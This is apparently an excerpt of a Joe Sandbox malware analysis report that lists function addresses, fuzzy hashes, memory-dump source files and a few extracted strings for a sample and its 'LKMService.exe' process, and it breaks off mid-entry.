Opcode Fuzzy Hash: c78758b1a9eff8bd9dc96c2178e39b80a6f18979e4b59eea2dd67bad01fed6da
Instruction Fuzzy Hash: BF4181B0A047558FDB26DF28D9406DEBBF1FF89200B14466AE4D6EB3A5D730A845CB60

Function 01041E78 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a9a98d13933516a304049bfa5dfcc71382e1b58af7b44390bc801a6578c322
Instruction ID: a1effb9d6f0ebee347a6de110b2627b1d6b1dd1350f3264e5b643f7c8cf7d541
Opcode Fuzzy Hash: 92a9a98d13933516a304049bfa5dfcc71382e1b58af7b44390bc801a6578c322
Instruction Fuzzy Hash: A041D970A013459FD715DF74E580A9EBBF2EF84200F108579E49ADB3A5DB30AC46CB91

Function 01041468 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 088a11123081bb1bc3eb95a51faf74fc16127da09fb21a11fdb4e40bc523ba11
Instruction ID: 55a79feebb35f87bbb9443fc23f760fe9a2c5dd16c5c87dfd2ef048757f90ba3
Opcode Fuzzy Hash: 088a11123081bb1bc3eb95a51faf74fc16127da09fb21a11fdb4e40bc523ba11
Instruction Fuzzy Hash: 3E31E970A013459FCB15DF38E9806DDBBF2EF84200B14867DE4969B295DB30AD45CB51

Function 01042990 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f59f58714120f9c57ad5444781dba1a9c8ec60b6cbf56fb798e7a693c07242
Instruction ID: 8b919bcf7db801b886e39c34a992073a3272455052ed475003ef65000e07bfdc
Opcode Fuzzy Hash: 36f59f58714120f9c57ad5444781dba1a9c8ec60b6cbf56fb798e7a693c07242
Instruction Fuzzy Hash: 093126B1E01258DFCB24CFA9D884ADEFFF5AF48314F24802AE845B7250CB34A945CB54

Function 01040A60 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f9743e70c8b7f41974fdc031518f3e909f891a16db2539251fae2da54a5682
Instruction ID: 7a6d1bf27ecd7ff63faca5aa0a9abef218472d895b53955ab49469f6f885e458
Opcode Fuzzy Hash: e1f9743e70c8b7f41974fdc031518f3e909f891a16db2539251fae2da54a5682
Instruction Fuzzy Hash: F7215C343101008FC745EB39D858A2E7BF6FFC965176644A9E40ACF3B6DA61DC068B91

Function 01040700 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af77e2eb110573904a9664a6bab58b047e48e698952af049f1ec2cd751a0a512
Instruction ID: 72cff1e0f94b876891d20b7c3d8b7f3ef983b24764884f9a58658221d00e4f3b
Opcode Fuzzy Hash: af77e2eb110573904a9664a6bab58b047e48e698952af049f1ec2cd751a0a512
Instruction Fuzzy Hash: 5B21DDA284E3C54FD303CB3889A42D83F71EE43240B0A01EBD0C4DF1A7E628895BD766

Function 01040A70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c614ecf8522acb722da6663a8ac435b7fa0fed69d22352d43ea4408b90eff5d
Instruction ID: 959beb4cf1b38b063a6eab9bd9ff72b92e433fac7ae9cd92c2ef462be82a46e1
Opcode Fuzzy Hash: 1c614ecf8522acb722da6663a8ac435b7fa0fed69d22352d43ea4408b90eff5d
Instruction Fuzzy Hash: 0E1149343101108FC744EB39D458A1E7BE6FFC9A1576544A8E50ACB3B6CE71DC068B91

Function 01042984 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faeb6cf6d607231946196681da526baea62e4f725b97fad12c236b81ea0dc1a2
Instruction ID: 096c3db4cee598a6936e47ed4e5e10de70c4141c04778c8f6961c79279ffe887
Opcode Fuzzy Hash: faeb6cf6d607231946196681da526baea62e4f725b97fad12c236b81ea0dc1a2
Instruction Fuzzy Hash: 212110B1E00258DFDB24CFA9D894BDEBFF5AF48304F24806AE485BB250CB74A945CB50

Function 010419D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55ed2ec955886c553d70731fcdaf07d2ae83a046c64d3704684f33e9af5cfd2
Instruction ID: 402ce9001252081c80bb1898903ae0102a93987c0fcc6927b1b37bd0fd89cf58
Opcode Fuzzy Hash: e55ed2ec955886c553d70731fcdaf07d2ae83a046c64d3704684f33e9af5cfd2
Instruction Fuzzy Hash: 62218171E01218AFCF05DBA4D9805DEBFF6AF89300F1480B6E401A7255DA306D54CB61

Function 01040E79 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1b5ac6a855c300abecf809dfc751f87a8ffde54839f986694b768a2cf1f5062
Instruction ID: 223b188b7550edf5dcada7d3157ce2b99a40debcd56f8ccd8b37f6c12bf1a7a9
Opcode Fuzzy Hash: a1b5ac6a855c300abecf809dfc751f87a8ffde54839f986694b768a2cf1f5062
Instruction Fuzzy Hash: 3D218E75A002088FDB05CF98D5849DCBBF2FF89220B1890A5E945BB366E731AD84CF60

Function 01042528 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80c378ec457338d5682ab3a88942e2fdf3b62e7520b7f719bde5f048d0e9fff8
Instruction ID: 84c6c75b963f4621b069bfee41d0572ff834ec5f8ce58ce43c918444bf7c362d
Opcode Fuzzy Hash: 80c378ec457338d5682ab3a88942e2fdf3b62e7520b7f719bde5f048d0e9fff8
Instruction Fuzzy Hash: 55114F31E1070A8BCB05EBB9D8545AEF7B5EFC9340710C729D559B7214EF30A9868BE1

Function 01040CC0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f5dbf6e785a2211908c2e4eb34980dd30c07e4ec713aff1b7269724e9d8b98
Instruction ID: 425b56644b607c0d869ee92a303b2d27a7d22f17631140b296ddb080aa6217d1
Opcode Fuzzy Hash: 64f5dbf6e785a2211908c2e4eb34980dd30c07e4ec713aff1b7269724e9d8b98
Instruction Fuzzy Hash: B6118E32D0574A9FCB01CFB9D8404DDFBB5EF99310F1586A6E011B7260E770298ACB61

Function 01040989 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34a1446564dcef5b34904194a7119c17fc09b41de6f567aa3a5ac776d84d8ae
Instruction ID: f82ac5af7686052b1f85d116fa4cb755aa5bcaf020c781650e77a676bf3528b3
Opcode Fuzzy Hash: b34a1446564dcef5b34904194a7119c17fc09b41de6f567aa3a5ac776d84d8ae
Instruction Fuzzy Hash: D8110434544206CFCB0AFF64EA94A58BFB1FB44300B1146B9D425DB3B9EB70994ACFA0

Function 01040879 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0811a7bbfa096ea8b4a7e31218b802b3cdbf3160432dc85f809e9d8702e081
Instruction ID: 1525d95181d2fa389b4d410bb06c55110684146656f03ba44bce40fb321c2ccc
Opcode Fuzzy Hash: 2c0811a7bbfa096ea8b4a7e31218b802b3cdbf3160432dc85f809e9d8702e081
Instruction Fuzzy Hash: 5F015232D1464A9BCB019BB9D8504DDFBB2EFCA310F1586A6D111B7160EB70258ECBA1

Function 00C5D035 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679045412.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c5d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5eabb73f4e41bc7aa03d21b4838ee780898d3c3a009e29a56db9db9e108612
Instruction ID: b3c69e0b090887bb5c9bc3da74ee73733a2de5b5d1e1174ab8c9cb4eb49edc2b
Opcode Fuzzy Hash: 0e5eabb73f4e41bc7aa03d21b4838ee780898d3c3a009e29a56db9db9e108612
Instruction Fuzzy Hash: 1301F7750083409AE7208B2AC9C4767BF98EF81325F18C46AED1A4B1C6C679D889C675

Function 01040CD0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8a9fc391d5894755e9c7c5816fd1df4fb53fd91edb2438aaccf0f279bc3c30
Instruction ID: 2792b294a0d8c0d185af9098ef40d99f29c1678f49bd2e163398eab2070d6663
Opcode Fuzzy Hash: af8a9fc391d5894755e9c7c5816fd1df4fb53fd91edb2438aaccf0f279bc3c30
Instruction Fuzzy Hash: DC012132D1060EABCB04DFA9D8404DDFBB9EFD9320F158666E115B7250E774258ACB60

Function 01041359 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ccaec48e1fbeb66887789f43a13b4fb82b5ec5dd4408528952e64ec0bb2cbc
Instruction ID: a48c6d7711cf5b9ccf6cc70a9e351cc7e4fffe37bb1be1ddd8c7d1dbb305f880
Opcode Fuzzy Hash: 54ccaec48e1fbeb66887789f43a13b4fb82b5ec5dd4408528952e64ec0bb2cbc
Instruction Fuzzy Hash: 96017132D0464B9BCB01DBB9D8104DDFB76AFCA300F1586A6D111B71A0EB74259ACBA1

Function 01040998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c570ea2254c05819f61fe6b40cabd3b8e71b12e04dff689db95043727b2941
Instruction ID: 50c35b6b84733d7ee61552d4d77b1eb6c74004b9c680661b7e7a63bdc9220dd2
Opcode Fuzzy Hash: 98c570ea2254c05819f61fe6b40cabd3b8e71b12e04dff689db95043727b2941
Instruction Fuzzy Hash: 9311AC34540206DFCB06FF64EA9495DBBB1FB44305B1046B9D425DB3B9EB70A94ACF90

Function 01041D69 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b9c02246dda30c6724120140e459d2989cdadc52ae73b42e14862ae0aa0404
Instruction ID: 16c4ec978c57af2f667719578cc453ff25e9536020fd35eec7a0658f3f219e0b
Opcode Fuzzy Hash: e2b9c02246dda30c6724120140e459d2989cdadc52ae73b42e14862ae0aa0404
Instruction Fuzzy Hash: 1201D432D0464B8BCF00CBB8D8105DEFBB6AFCA310F1987A6D511B7160E770259ACBA0

Function 01041CC7 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bf049e047baf187c8355178f9daf0605dc34fe7f184a74d69b43d096adfd59
Instruction ID: d77b5c618c0ef8e0d8a41306eac902da888935ac4cb6693483ae048ccd916fd6
Opcode Fuzzy Hash: d0bf049e047baf187c8355178f9daf0605dc34fe7f184a74d69b43d096adfd59
Instruction Fuzzy Hash: 78019271A00219CFDB54EF60C854BEEB772FB88300F10457DD482AB2A4CB76AD4ACB90

Function 01040D51 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 737492cae2c52076de6da11e6bc4abac8a19065b015c62e51fbd5d1271dffc12
Instruction ID: 98b1af27449abccf14716631c68daa6df89e7a9f165efdfb0cdc24e570c11419
Opcode Fuzzy Hash: 737492cae2c52076de6da11e6bc4abac8a19065b015c62e51fbd5d1271dffc12
Instruction Fuzzy Hash: 93F02871E152448BCF059774C4A59EFBFB24F84300F05857AC482B7284DE70650BC782

Function 010407E0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe73e97c21290404b181cd7b5f74e514f2cdaee4f14d3f0f66965f707b1231a
Instruction ID: c167f906152662c643628ef3deb9ebb3f68c811c560704845a8537c2529e6d20
Opcode Fuzzy Hash: bfe73e97c21290404b181cd7b5f74e514f2cdaee4f14d3f0f66965f707b1231a
Instruction Fuzzy Hash: 7FF0F9A290E7D50FD30397284D653A93FB1AA13184F5A44EBE6C48F0ABD919485BC3A7

Function 010413E0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b52ea00332a57253dd1f7d1cf0ae1a8939541a95f256143370971f63d52f21ec
Instruction ID: b297a1bed27e07b1c1eadb054572ff1a409b490e9dcb1ccf8d7303a01f8910c1
Opcode Fuzzy Hash: b52ea00332a57253dd1f7d1cf0ae1a8939541a95f256143370971f63d52f21ec
Instruction Fuzzy Hash: 83F0C272D101499BCB149B74C4A99EFBFB29F84310F008629C453B7390EEB0664B9B92

Function 01041CD8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d941b7e0327962973c05172b8c76e102ac3560f79083b58a4b0c19d3d5c5dc2
Instruction ID: f6a1322c4c63ac86e783f91fa4b50363090dbcb70cfda84b3816f41824977db4
Opcode Fuzzy Hash: 8d941b7e0327962973c05172b8c76e102ac3560f79083b58a4b0c19d3d5c5dc2
Instruction Fuzzy Hash: 94014B71600219DBDB14BB64C854BEEB7B2FB88340F10443CD582AB3A4CBB6A885CB91

Function 01040901 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c62968a76375d926ceffd27b5f3c81449ae967e95affee1e1e9f988eb0bf8ab
Instruction ID: 64bd5eae6892cb0f2fbe707082dc99f93a40513ce582522114a9fa1c52d2d1c8
Opcode Fuzzy Hash: 6c62968a76375d926ceffd27b5f3c81449ae967e95affee1e1e9f988eb0bf8ab
Instruction Fuzzy Hash: 42F02272A142499BDB05DB34C4A59EFBFA24F84300F04893AD042BB290DE7059078B82

Function 00C5D034 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679045412.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c5d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ed1dbf2db42a4537719cc40484d722e8edaec42175947107745a5b0c2812414
Instruction ID: 69ea643b2684cef16c0394ac268f34308c5dc611965f94d4535f26facdbe1b32
Opcode Fuzzy Hash: 2ed1dbf2db42a4537719cc40484d722e8edaec42175947107745a5b0c2812414
Instruction Fuzzy Hash: 30F062714043449AE7208F1AC884B62FFA8EB95725F18C45AED194F286C2799885CAB5

Function 01041DF1 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741a6c1695ae9e9c355ccc7e8c3a24e9d48e3d185c2ee4a42286cd8ac0ea8efc
Instruction ID: 83e5b11e0b759f7aa16f57373eddacb9d7385a4c3c4fa34a8aa54400d5e88f61
Opcode Fuzzy Hash: 741a6c1695ae9e9c355ccc7e8c3a24e9d48e3d185c2ee4a42286cd8ac0ea8efc
Instruction Fuzzy Hash: 53F0FCB1E101855BDB159B75C466AEFFFF54F84300F558969C442F7350DF7059068781

Function 01040910 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e973d8b363ea0f785fd28beaed9343af54bb1bbdfd11c4e79a90fa49d155b189
Instruction ID: ea3620b188d245100b02970907766433ef453659f83b02f50c8b63e5105fc7d5
Opcode Fuzzy Hash: e973d8b363ea0f785fd28beaed9343af54bb1bbdfd11c4e79a90fa49d155b189
Instruction Fuzzy Hash: 6CF0E272E101099BDF04EB64C465AEFFFB69F84300F00893AD502BB344EEB069068BD2

Function 010413F0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf7471b55c54f754111cacdaac77ec0d7b2d37c3b402e46fc72e210a374ec03
Instruction ID: bafed4e2d79488fa452bb8f8f2d38c7c5f1d649035cb9694512c8dc1d85a0ded
Opcode Fuzzy Hash: 3bf7471b55c54f754111cacdaac77ec0d7b2d37c3b402e46fc72e210a374ec03
Instruction Fuzzy Hash: F8F0E272E102099BCF04DB64C455AEFBFB69F84310F00883AC002BB380EEB06A4787D2

Function 01041E00 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e3ec9161cdb7b666006a913f3b8440a18f09c012165e3fa29c66d02fbce9f5
Instruction ID: fd9f9872268ef52cb0302eff0cac21f4447f3c25a8fa4377a001178908ac667e
Opcode Fuzzy Hash: f8e3ec9161cdb7b666006a913f3b8440a18f09c012165e3fa29c66d02fbce9f5
Instruction Fuzzy Hash: 3AF0E272E102099BCF14DBA5C4559EFFFB69F84700F40883AC402BB380EEB069078AD2

Function 01041309 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd9defb866745f5d56078be837532b3cafc089ccda932b133f3ada3eb8bfd1e
Instruction ID: 3494d6d200e29e94d3ab1a9bb8f29f2c16c88556d7f10819a102fe556778dc39
Opcode Fuzzy Hash: 1cd9defb866745f5d56078be837532b3cafc089ccda932b133f3ada3eb8bfd1e
Instruction Fuzzy Hash: 37F0396171E2D40FC717637918A08EA2FA60DCB15131940FFE8C9DB297C8555C0B83A2

Function 01040838 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ffe71ad8ddc598b8decd436ae55a2080894ccea503ce1c3667cb3aae9273b2
Instruction ID: 8b06a79243776a20e68360df1f825a08328fc3943984c38b8e59c2231c44651e
Opcode Fuzzy Hash: f9ffe71ad8ddc598b8decd436ae55a2080894ccea503ce1c3667cb3aae9273b2
Instruction Fuzzy Hash: E0E0927190A3849FD743CB7889216DC7FB0AF42140F5A42EAE4C8D7256D631592AC751

Function 01040848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d1971516bbf1a02374a334d30376cbdd82f18d61549c990b0e99128f75406ee
Instruction ID: 0d8c7ce033ec6f60247768e09a8ddf9bf29758d01b104b550af58d326a9b2c31
Opcode Fuzzy Hash: 8d1971516bbf1a02374a334d30376cbdd82f18d61549c990b0e99128f75406ee
Instruction Fuzzy Hash: A6D017B2905308AFEB42CFA8CA4579D7BF8BB05240F6504E9E488D7215EA319E50C791

Function 0104157D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353d4c2bbd82512d0492fe162929200174bab151f860be78c7434f1aa18555cf
Instruction ID: 7c1d463a89e71e2ecb97fbfb1f6fda9295a80ccca088ecd800a14f0454a654ae
Opcode Fuzzy Hash: 353d4c2bbd82512d0492fe162929200174bab151f860be78c7434f1aa18555cf
Instruction Fuzzy Hash: A3D0A772F0A3449FCF119FB8A9400DCBF70DAC113071482F3D095C7166C630D4548322

Analysis Process: LKMService.exePID: 6480, Parent PID: 7128COMMON

Executed Functions

Function 03106E58 Relevance: 3.0, Strings: 2, Instructions: 519COMMON

Download Yara Rule

Strings

4`q, xrefs: 03106E92
fcq, xrefs: 031070AD

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq$4`q
API String ID: 0-4026759131
Opcode ID: d4e3863906927c28aa1cee666ec9fd044264f25e4d31602dd8b3779fb85b5644
Instruction ID: 1adff5281d98f5ed71933c137b64590bb5877b58355e0f0adda7798e4203d39e
Opcode Fuzzy Hash: d4e3863906927c28aa1cee666ec9fd044264f25e4d31602dd8b3779fb85b5644
Instruction Fuzzy Hash: 50224A70A003198FCB15DFA8C99499DBBF2BF89310F1586A9D419AF3A5DB70EC45CB90

Function 03106E49 Relevance: 1.7, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

fcq, xrefs: 031070AD

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: 5b6a07db5cddad9e19250f78fdeb29ca1fe49d73173b23c8caf9906212a2aba3
Instruction ID: 34ccf1ec9494af36a8c695095ee3794ef618dce0dd4dd1e7f02cd0efd163dc15
Opcode Fuzzy Hash: 5b6a07db5cddad9e19250f78fdeb29ca1fe49d73173b23c8caf9906212a2aba3
Instruction Fuzzy Hash: 49124A70A003198FCB15DFA8C89499DBBF2BF89310F1546A9D41AAF3A5DB74EC45CB90

Function 03104A98 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 419dda101f8e4fcf65597dcd5577705cd1448884d3d99adb48f165b5e2fe9cbc
Instruction ID: 6ce2566dfbbcc7035e45778151bbc78d697ac8cff5eda683b001762624e1d0e4
Opcode Fuzzy Hash: 419dda101f8e4fcf65597dcd5577705cd1448884d3d99adb48f165b5e2fe9cbc
Instruction Fuzzy Hash: 2402F874A002098FCB15DF69D580A9DBBF2FF88310F5985A5E449AB365DB70ED86CF80

Function 03106A58 Relevance: 5.2, Strings: 4, Instructions: 196COMMON

Download Yara Rule

Strings

(bq, xrefs: 03106CA2
(bq, xrefs: 03106CCE
xbq, xrefs: 03106B8B
xbq, xrefs: 03106BE7

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID: (bq$(bq$xbq$xbq
API String ID: 0-2582918839
Opcode ID: fbf49402d10a0f816b13c129b1f180592af9b85993d22502d66e8485a89f6d28
Instruction ID: e0207cd558f78e39fa9263bc02e7e50fe0009fed968102064e049cf092640851
Opcode Fuzzy Hash: fbf49402d10a0f816b13c129b1f180592af9b85993d22502d66e8485a89f6d28
Instruction Fuzzy Hash: AA6170317002059FDB559F68C854B6EB7A2FFC9310F148469E80A9F3A5CB76EC52CB91

Function 03103900 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

